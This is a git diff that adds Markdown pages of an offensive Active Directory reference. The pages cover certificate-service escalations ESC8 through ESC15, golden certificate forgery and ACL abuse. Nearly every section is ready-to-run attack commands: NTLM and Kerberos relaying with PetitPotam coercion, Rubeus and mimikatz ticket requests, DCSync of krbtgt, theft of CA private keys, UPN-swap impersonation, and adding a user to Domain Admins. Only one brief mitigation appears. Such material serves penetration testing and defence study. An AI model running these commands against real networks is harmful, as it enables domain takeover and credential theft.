```powershell + impacket> python3 ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs + impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate + # For a member server or workstation, the template would be "Computer". + # Other templates: workstation, DomainController, Machine, KerberosAuthentication + + # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam + # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN + git clone https://github.com/topotam/PetitPotam + python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP + python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP + python3 dementor.py -u -p -d + python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local + + # Use the certificate with rubeus to request a TGT + Rubeus.exe asktgt /user: /certificate: /ptt + Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt + + # Now you can use the TGT to perform a DCSync + mimikatz> lsadump::dcsync /user:krbtgt + ``` + +* **Version 2**: NTLM Relay + Mimikatz + Kekeo + + ```powershell + impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController + + # Mimikatz + mimikatz> misc::efs /server:dc.lab.local /connect: /noauth + + # Kekeo + kekeo> base64 /input:on + kekeo> tgt::ask /pfx: /user:dc$ /domain:lab.local /ptt + + # Mimikatz + mimikatz> lsadump::dcsync /user:krbtgt + ``` + +* **Version 3**: Kerberos Relay + + ```ps1 + # Setup the relay + sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine + + # Run mitm6 + sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v + ``` + +* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed. + + ```powershell + https://github.com/bats3c/ADCSPwn + adcspwn.exe --adcs --port [local port] --remote [computer] + adcspwn.exe --adcs cs.pwnlab.local + adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001 + adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt + adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local + + # ADCSPwn arguments + adcs - This is the address of the AD CS server which authentication will be relayed to. + secure - Use HTTPS with the certificate service. + port - The port ADCSPwn will listen on. + remote - Remote machine to trigger authentication from. + username - Username for non-domain context. + password - Password for non-domain context. + dc - Domain controller to query for Certificate Templates (LDAP). + unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) . + output - Output path to store base64 generated crt. + ``` + +* **Version 5**: Certipy ESC8 + + ```ps1 + certipy relay -ca 172.16.19.100 + ``` + +* **Version 6**: Kerberos Relay (self relay in case of only one DC) + + ```ps1 + # Add dns entry with the james forshaw's trick + dnstool.py -u "domain.local\user" -p "password" -r "computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.10.10" --action add "10.10.10.11" --tcp + + # Coerce kerberos with petit potam on dns entry + petitpotam.py -u 'user' -p 'password' -d domain.local 'computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' computer.domain.local + + # relay kerberos + python3 krbrelayx.py -t 'http://computer.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'COMPUTER$' -ip 10.10.10.10 + ``` + +## References + +* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/) +* [AD CS relay attack - practical guide - @exandroiddev - June 23, 2021](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc09.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc09.md new file mode 100644 index 0000000..bb9d892 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc09.md @@ -0,0 +1,52 @@ +# Active Directory - Certificate ESC9 + +## ESC9 - No Security Extension + +**Requirements** + +* `StrongCertificateBindingEnforcement` set to `1` (default) or `0` +* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value +* Certificate specifies `Any Client` authentication EKU +* `GenericWrite` over any account A to compromise any account B + +**Scenario** + + has **GenericWrite** over , and we want to compromise . + is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value. + +* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite) + + ```ps1 + certipy shadow auto -username John@corp.local -p Passw0rd -account Jane + ``` + +* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part + + ```ps1 + certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator + ``` + +* Request the vulnerable certificate template ESC9 from Jane's account. + + ```ps1 + certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9 + # userPrincipalName in the certificate is Administrator + # the issued certificate contains no "object SID" + ``` + +* Restore userPrincipalName of Jane to . + + ```ps1 + certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local + ``` + +* Authenticate with the certificate and receive the NT hash of the user. + + ```ps1 + certipy auth -pfx administrator.pfx -domain corp.local + # Add -domain to your command line since there is no domain specified in the certificate. + ``` + +## References + +* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc10.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc10.md new file mode 100644 index 0000000..9e7eadd --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc10.md @@ -0,0 +1,54 @@ +# Active Directory - Certificate ESC10 + +## ESC10 – Weak Certificate Mapping - StrongCertificateBindingEnforcement + +**Requirements**: + +* `StrongCertificateBindingEnforcement` = 0. + +**Exploit**: + +```ps1 +# get user hash with shadowcredentials +certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10 + +# change user UPN +certipy account update -username "user@domain.local" -p "password" -user admin -upn administrator -dc-ip 10.10.10.10 + +# ask for certificate +certipy req -username "admin@domain.local" -hashes "hashes" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug + +# Rollback upn modification +certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10 + +# Connect with the certificate +certipy auth -pfx 'administrator.pfx' -domain "domain.local" -dc-ip 10.10.10.10 +``` + +## ESC10 – Weak Certificate Mapping - CertificateMappingMethods + +**Requirements**: + +* `CertificateMappingMethods` = 0x04. + +**Exploit**: + +```ps1 +certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10 + +# change user UPN to computer$ +certipy account update -username "user@domain.local" -p "password" -user admin -upn 'computer$@domain.local' -dc-ip 10.10.10.10 + +# ask for certificate +certipy req -username "admin@domain.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug + +# Rollback upn modification +certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10 + +# Connect via schannel with the certificate +certipy auth -pfx 'computer.pfx' -domain "domain.local" -dc-ip 10.10.10.10 -ldap-shell +``` + +## References + +* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc11.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc11.md new file mode 100644 index 0000000..99bb6e9 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc11.md @@ -0,0 +1,53 @@ +# Active Directory - Certificate ESC11 + +## ESC11 - Relaying NTLM to ICPR + +> Encryption is not enforced for ICPR requests and Request Disposition is set to Issue. + +**Tools**: + +* [ly4k/Certipy](https://github.com/ly4k/Certipy) - Certipy official +* [sploutchy/Certipy](https://github.com/sploutchy/Certipy) - Certipy fork +* [sploutchy/impacket](https://github.com/sploutchy/impacket) - Impacket fork + +**Exploitation**: + +1. Look for `Enforce Encryption for Requests: Disabled` in certipy output. + + ```ps1 + certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout + Enforce Encryption for Requests : Disabled + ESC11: Encryption is not enforced for ICPR (RPC) requests. + ``` + +2. Setup a relay using Impacket ntlmrelay and trigger a connection to it. + + ```ps1 + certipy relay -target rpc://dc.domain.local -ca 'DOMAIN-CA' -template DomainController + # or + ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support + ``` + +3. Coerce authentication fomr a privileged account such as a Domain Controller. +4. Use the certificate + + ```ps1 + certipy auth -pfx dc.pfx + ``` + +**Mitigations**: + +Enforce **RPC Encryption** (Packet Privacy). + +```powershell +certutil -getreg CA\InterfaceFlags +certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST +net stop certsvc +net start certsvc +``` + +## References + +* [ESC11: NTLM Relay to AD CS RPC Interface - Oliver Lyak - May 15, 2025](https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation#esc11-ntlm-relay-to-ad-cs-rpc-interface) +* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/) +* [Relaying to AD Certificate Services over RPC - SYLVAIN HEINIGER - November 16, 2022](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc12.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc12.md new file mode 100644 index 0000000..e505679 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc12.md @@ -0,0 +1,61 @@ +# Active Directory - Certificate ESC12 + +## ESC12 - ADCS CA on YubiHSM + +> The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key. + +**Requirements**: + +* CA certificate +* Shell access on the root CA server + +**Exploitation**: + +* Generate a certicate for the user + + ```ps1 + certipy req -target dc-esc.esc.local -dc-ip 10.10.10.10 -u "user_esc12@esc.local" -p 'P@ssw0rd' -template User -ca + certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt + certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key + ``` + +* Importing the CA certificate into the user store + + ```ps1 + certutil -addstore -user my .\Root-CA-5.cer + ``` + +* Associated with the private key in the YubiHSM2 device + + ```ps1 + certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my + ``` + +* Sign `user_esc12.crt` and specify a `Subject Alternative Name` using the `extension.inf` file. + + ```ps1 + certutil -sign ./user_esc12.crt new.crt @extension.inf + ``` + +* Content of extension.inf + + ```cs + [Extensions] + 2.5.29.17 = "{text}" + _continue_ = "UPN=Administrator@esc.local&" + ``` + +* Use the certificate to get the TGT of the Administrator + + ```ps1 + openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx + Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap + ``` + +Unlocking the YubiHSM with the plaintext password in the registry key: `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`. + +## References + +* [ESC12 – Shell access to ADCS CA with YubiHSM - hajo - October 2023](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm) +* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/) +* [Exploitation de l’AD CS : ESC12, ESC13 et ESC14 - Guillon Bony Rémi - February, 2025](https://connect.ed-diamond.com/misc/mischs-031/exploitation-de-l-ad-cs-esc12-esc13-et-esc14) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc13.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc13.md new file mode 100644 index 0000000..ee474bf --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc13.md @@ -0,0 +1,76 @@ +# Active Directory - Certificate ESC13 + +## ESC13 - Issuance Policy + +> If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link. + +**Requirements** + +* The principal has enrollment rights on a certificate template +* The certificate template has an issuance policy extension +* The issuance policy has an OID group link to a group +* The certificate template defines EKUs that enable client authentication + +```ps1 +PS C:\> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTER\ESC13User"} +AccessControlType : Allow + +# check if there is an issuance policy in the msPKI-Certificate-Policy +PS C:\> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy +msPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448} + +# check for OID group link +PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink +msDS-OIDToGroupLink : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire + +# verify if ESC13Group is a Universal group +PS C:\> Get-ADGroup ESC13Group -Properties Members +GroupScope : Universal +Members : {} +``` + +**Exploitation**: + +* Find a vulnerable template + + ```ps1 + certipy find -target dc.lab.local -dc-ip 10.10.10.10 -u "username" -p "P@ssw0rd" -stdout -vulnerable + ``` + +* Request a certificate for the vulnerable template + + ```ps1 + .\Certify.exe request /ca:DC01\dumpster-DC01-CA /template:ESC13Template + certipy req -target dc.lab.local -dc-ip 10.10.10.10 -u "username" -p "P@ssw0rd" -template -ca + ``` + +* Merge into a PFX file + + ```ps1 + certutil -MergePFX .\esc13.pem .\esc13.pfx + ``` + +* Verify the presence of the "Client Authentication" and the "Policy Identifier" + + ```ps1 + certutil -Dump -v .\esc13.pfx + ``` + +* Pass-The-Certificate: Ask a TGT for our user, but we are also member of the linked group and inherited their privileges + + ```ps1 + Rubeus.exe asktgt /user:ESC13User /certificate:C:\esc13.pfx /nowrap + Rubeus.exe asktgt /user:username /certificate:username.pfx /domain:lab.local /dc:dc /nowrap + ``` + +* Pass-The-Ticket: Use the ticket that grant privileges from the AD group + + ```ps1 + Rubeus.exe ptt /ticket: + ``` + +## References + +* [ADCS ESC13 Abuse Technique - Jonas Bülow Knudsen - 02/15/2024](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53) +* [Exploitation de l’AD CS : ESC12, ESC13 et ESC14 - Guillon Bony Rémi - February, 2025](https://connect.ed-diamond.com/misc/mischs-031/exploitation-de-l-ad-cs-esc12-esc13-et-esc14) +* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc14.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc14.md new file mode 100644 index 0000000..eea932d --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc14.md @@ -0,0 +1,64 @@ +# Active Directory - Certificate ESC14 + +## ESC14 - altSecurityIdentities + +> ESC14 is an Active Directory Certificate Services (ADCS) abuse technique that leverages the altSecurityIdentities attribute to perform explicit certificate mappings. This attribute allows administrators to associate specific certificates with user or computer accounts for authentication purposes. However, if an attacker gains write access to this attribute, they can add a mapping to a certificate they control, effectively impersonating the targeted account. + +Domain administrators can manually associate certificates with a user in Active Directory by configuring the altSecurityIdentities attribute of the user object. This attribute supports six different values, categorized into three weak (insecure) mappings and three strong mappings. + +In general, a mapping is considered strong if it relies on unique, non-reusable identifiers. Conversely, mappings based on usernames or email addresses are classified as weak, as these identifiers can be easily reused or changed. + +| Mapping | Example | Type | Remarks | +| ---------------------- | ---------------------------------- | ------ | ------------- | +| X509IssuerSubject | `X509:IssuerNameSubjectName` | Weak | / | +| X509SubjectOnly | `X509:SubjectName` | Weak | / | +| X509RFC822 | `X509:user@contoso.com` | Weak | Email Address | +| X509IssuerSerialNumber | `X509:IssuerName1234567890` | Strong | Recommended | +| X509SKI | `X509:123456789abcdef` | Strong | / | +| X509SHA1PublicKey | `X509:123456789abcdef` | Strong | / | + +**Requirements**: + +* Ability to modify the attribute `altSecurityIdentitites` of an account. + +**Exploitation**: + +**Technique 1** with [GhostPack/Certify](https://github.com/GhostPack/Certify) and [logangoins/Stifle](https://github.com/logangoins/Stifle) + +```ps1 +# the certificate requested must be a machine account certificate +Certify.exe request /ca:lab.lan\lab-dc01-ca /template:Machine /machine + +# convert to base64 .pfx format: +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export | base64 -w 0 + +# generate a certificate mapping string and write it to the target objects altSecurityIdentities attribute: +Stifle.exe add /object:target /certificate:MIIMrQI... /password:P@ssw0rd + +# request a TGT using PKINIT authentication, effectively impersonating the target user with Rubeus: +Rubeus.exe asktgt /user:target /certificate:MIIMrQI... /password:P@ssw0rd +``` + +**Technique 2** using [Deloitte-OffSecResearch/Certipy](https://github.com/Deloitte-OffSecResearch/Certipy) and [JonasBK/Add-AltSecIDMapping.ps1](https://github.com/JonasBK/Powershell/blob/master/Add-AltSecIDMapping.ps1) + +```ps1 +# request a machine account certificate +addcomputer.py -method LDAPS -computer-name 'ESC13$' -computer-pass 'P@ssw0rd' -dc-host dc.lab.local 'lab.local/kuma' +certipy req -target dc.lab.local -dc-ip 10.10.10.10 -u "ESC13$@lab.local" -p 'P@ssw0rd' -template Machine -ca LAB-CA + +# extract Serial Number and Issuer, to configure a strong mapping +certutil -Dump -v .\esc13.pfx +Get-X509IssuerSerialNumberFormat -SerialNumber "" -IssuerDistinguishedName "" + +# add mapping to the Administrator user +Add-AltSecIDMapping -DistinguishedName "CN=Administrator,CN=Users,DC=lab,DC=local" -MappingString "" + +# request TGT for Administrator +Rubeus.exe asktgt /user:Administrator /certificate:esc13.pfx /domain:lab.local /dc:dc.lab.local /show /nowrap +``` + +## References + +* [ADCS ESC14 Abuse Technique - Jonas Bülow Knudsen - February 28, 2024](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9) +* [Exploitation de l’AD CS : ESC12, ESC13 et ESC14 - Guillon Bony Rémi - February, 2025](https://connect.ed-diamond.com/misc/mischs-031/exploitation-de-l-ad-cs-esc12-esc13-et-esc14) +* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc15.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc15.md new file mode 100644 index 0000000..970585a --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc15.md @@ -0,0 +1,53 @@ +# Active Directory - Certificate ESC15 + +## ESC15 - EKUwu Application Policies - CVE-2024-49019 + +This technique now has a CVE number and was patched on November 12, See [Active Directory Certificate Services Elevation of Privilege Vulnerability - CVE-2024-49019](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019) for more information. + +**Requirements**: + +* **Template Schema** Version 1 +* **ENROLLEE_SUPPLIES_SUBJECT** = `True` + +**Exploitation**: + +Detect the vulnerability from BloodHound data using the following cypher query. + +```ps1 +MATCH p=(:Base)-[:MemberOf*0..]->()-[:Enroll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA)-[:TrustedForNTAuth]->(:NTAuthStore)-[:NTAuthStoreFor]->(:Domain) WHERE ct.enrolleesuppliessubject = True AND ct.authenticationenabled = False AND ct.requiresmanagerapproval = False AND ct.schemaversion = 1 RETURN p +``` + +The **Application Policies** extension is a proprietary certificate extension with the OID `1.3.6.1.4.1.311`, same as **x509 EKUs**. It was designed to allow users to specify additional use cases for certificates by utilizing the same OIDs as those in the Enhanced Key Usage extension. +If there is a conflict between an Application Policy and an EKU, then Microsoft prefers the proprietary Application Policy. + +> "Application policy is Microsoft specific and is treated much like Extended Key Usage. If a certificate has an extension containing an application policy and also has an EKU extension, the EKU extension is ignored." - Microsoft + +When a user requests a certificate based on a schema version 1 template and includes an application policy, the policy is incorporated into the certificate. This allows users to specify arbitrary EKUs, bypassing the requirements for ESC2. + +**ESC1** - The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the `Server Authentication` EKU. Using [ly4k/Certipy PR #228](https://github.com/ly4k/Certipy/pull/228), we can add the `Client Authentication` EKU to `WebServer`. Anybody with the `Enroll` permission on this template can now compromise the domain. + +```ps1 +certipy req -dc-ip 10.10.10.10 -ca CA -target-ip 10.10.10.11 -u user@domain.com -p 'P@ssw0rd' -template WebServer -upn Administrator@domain.com --application-policies 'Client Authentication' +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell + +# in LDAP shell +add_user pentest_user +add_user_to_group pentest_user "Domain Admins" +``` + +**ESC2/ESC3** - **Certificate Request Agent** (`1.3.6.1.4.1.311.20.2.1`), + +```ps1 +certipy -req -u user@domain.com -p 'P@ssw0rd' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca "Lab Root CA" -template WebServer -dc-ip 10.10.10.10 -target-ip 10.10.10.11 +certipy -req -u user@domain.com -p 'P@ssw0rd' -on-behalf-of DOMAIN\\Administrator -Template User -ca "Lab Root CA" -pfx user.pfx -dc-ip 10.10.10.10 -target-ip 10.10.10.11 +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +``` + +## References + +* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps - frank - July 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/) +* [ADCS Exploitation Part 2: Certificate Mapping + ESC15 - Giulio Pierantoni - October 10, 2024](https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760) +* [Curious case of AD CS ESC15 vulnerable instance and its manual exploitation - Mannu Linux - February 13, 2025](https://www.mannulinux.org/2025/02/Curious-case-of-AD-CS-ESC15-vulnerable-instance-and-its-manual-exploitation.html) +* [EKUwu: Not just another AD CS ESC - Justin Bollinger - October 08, 2024](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc) +* [ESC15/EKUwu PR #228 - dru1d-foofus - August 10, 2024](https://github.com/ly4k/Certipy/pull/228) +* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-golden-certificate.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-golden-certificate.md new file mode 100644 index 0000000..52b86a6 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-golden-certificate.md @@ -0,0 +1,94 @@ +# Active Directory - Golden Certificate + +A Golden Certificate is a maliciously crafted certificate that an attacker generates using the CA’s private key. + +## Obtain CA certificate + +Export the CA certificate including the private key: + +* [GhostPack/Certify](https://github.com/GhostPack/Certify) + + ```ps1 + Certify.exe manage-self --dump-certs + ``` + +* [ly4k/Certipy](https://github.com/ly4k/Certipy) + + ```ps1 + certipy ca -u 'administrator@corp.local' -p 'Passw0rd!' -ns '10.10.10.10' -target 'CA.CORP.LOCAL' -config 'CA.CORP.LOCAL\CORP-CA' -backup + ``` + +* [windows-gui/certsrv.msc](https://learn.microsoft.com/en-us/system-center/scom/obtain-certificate-windows-server-and-operations-manager) + * Open `certsrv.msc` + * Right click the CA -> `All Tasks` -> `Back up CA...` + * Follow the wizard but make sure to check `Private key and CA certificate` + +* [windows-gui/certlm.msc](https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/export-certificate-private-key) + * Open `certlm.msc` + * Go to `Personal` -> `Certificates` + * Right click the CA signing certificate -> `All Tasks` -> `Export` + * Follow the wizard but make sure to choose `Yes, export the private key` + +* [windows-commands/certutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil) + + ```ps1 + certutil -backupKey -f -p SuperSecurePassw0rd! C:\Windows\Tasks\CaBackupFolder + ``` + +* [gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz) + + ```ps1 + mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export" + ``` + +## Forge Golden Certificates + +Forge a certificate of a target principal: + +* [GhostPack/Certify](https://github.com/GhostPack/Certify) + + ```ps1 + Certify.exe forge --ca-cert --upn Administrator --sid S-1-5-21-976219687-1556195986-4104514715-500 + ``` + +* [GhostPack/ForgeCert](https://github.com/GhostPack/ForgeCert) + + ```ps1 + ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password" + ``` + +* [ly4k/Certipy](https://github.com/ly4k/Certipy) + + ```ps1 + certipy forge -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' -crl 'ldap:///' + + certipy forge -template 'attacker.pfx' -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' + ``` + +:warning: Useful parameters when generating a golden certificate. + +* `-crl`: If the `-crl` option is omitted when forging, authentication might fail. While the KDC doesn't typically perform an active CRL lookup during initial TGT issuance for performance reasons, it does often check for the presence of a CDP extension in the certificate. Its absence can lead to a `KDC_ERROR_CLIENT_NOT_TRUSTED` error. +* `-template 'attacker.pfx'`: Certipy will copy extensions (like Key Usage, basic constraints, AIA, etc.) from attacker.pfx into the new forged certificate, while still setting the **subject**, **UPN**, and *SID* as specified. +* `-subject "CN=xyz-CA-1, DC=xyz, DC=htb"`: set the **Distinguished Name** for the certificate + +## Request a TGT + +* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) + + ```ps1 + Rubeus.exe asktgt /user:Administrator /domain:dumpster.fire /certificate: + ``` + +* [ly4k/Certipy](https://github.com/ly4k/Certipy) + + ```ps1 + certipy auth -pfx 'administrator_forged.pfx' -dc-ip '10.10.10.10' + ``` + +## References + +* [BloodHound - GoldenCert Edge - SpecterOps - April 20, 2025](https://bloodhound.specterops.io/resources/edges/golden-cert) +* [Certificate authority - The Hacker Recipes - July 16,2025](https://www.thehacker.recipes/ad/persistence/adcs/certificate-authority) +* [Domain Persistence Techniques - Valdemar Carøe - August 6, 2025](https://github.com/GhostPack/Certify/wiki/3-‐-Domain-Persistence-Techniques) +* [Post‐Exploitation - Oliver Lyak - May 15, 2025](https://github.com/ly4k/Certipy/wiki/07-‐-Post‐Exploitation) +* [Steal or Forge Authentication Certificates - MITRE ATT&CK - April 15, 2025](https://attack.mitre.org/techniques/T1649/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adds-acl-ace.md b/personas/_shared/internal-allthethings/active-directory/ad-adds-acl-ace.md new file mode 100644 index 0000000..17d4856 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adds-acl-ace.md @@ -0,0 +1,368 @@ +# Active Directory - Access Controls ACL/ACE + +An **Access Control Entry (ACE)** is a specific permission granted or denied to a user or group for a particular resource, such as a file or directory. Each ACE defines the type of access allowed (e.g., read, write, execute) or denied. + +An **Access Control List (ACL)** is a collection of Access Control Entries (ACEs) associated with a resource. + +* Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner). + + ```ps1 + ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show + ``` + +* Automate ACL exploit [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn): + + ```ps1 + ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!' + ``` + +## GenericAll/GenericWrite + +### User/Computer + +We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it. + +* Windows/Linux + + ```ps1 + # Check for interesting permissions on accounts: + bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get writable --otype USER --right WRITE --detail | egrep -i 'distinguishedName|servicePrincipalName' + + # Check if current user has already an SPN setted: + bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get object --attr serviceprincipalname + + # Force set the SPN on the account: Targeted Kerberoasting + bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object serviceprincipalname -v 'ops/whatever1' + + # Grab the ticket + GetUsersSPNs.py -dc-ip 10.10.10.10 'attack.lab/john.doe:Password123*' -request-user + + # Remove the SPN + bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object serviceprincipalname + ``` + +* Windows only + + ```ps1 + # Check for interesting permissions on accounts: + Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} + + # Check if current user has already an SPN setted: + PowerView2 > Get-DomainUser -Identity | select serviceprincipalname + + # Force set the SPN on the account: Targeted 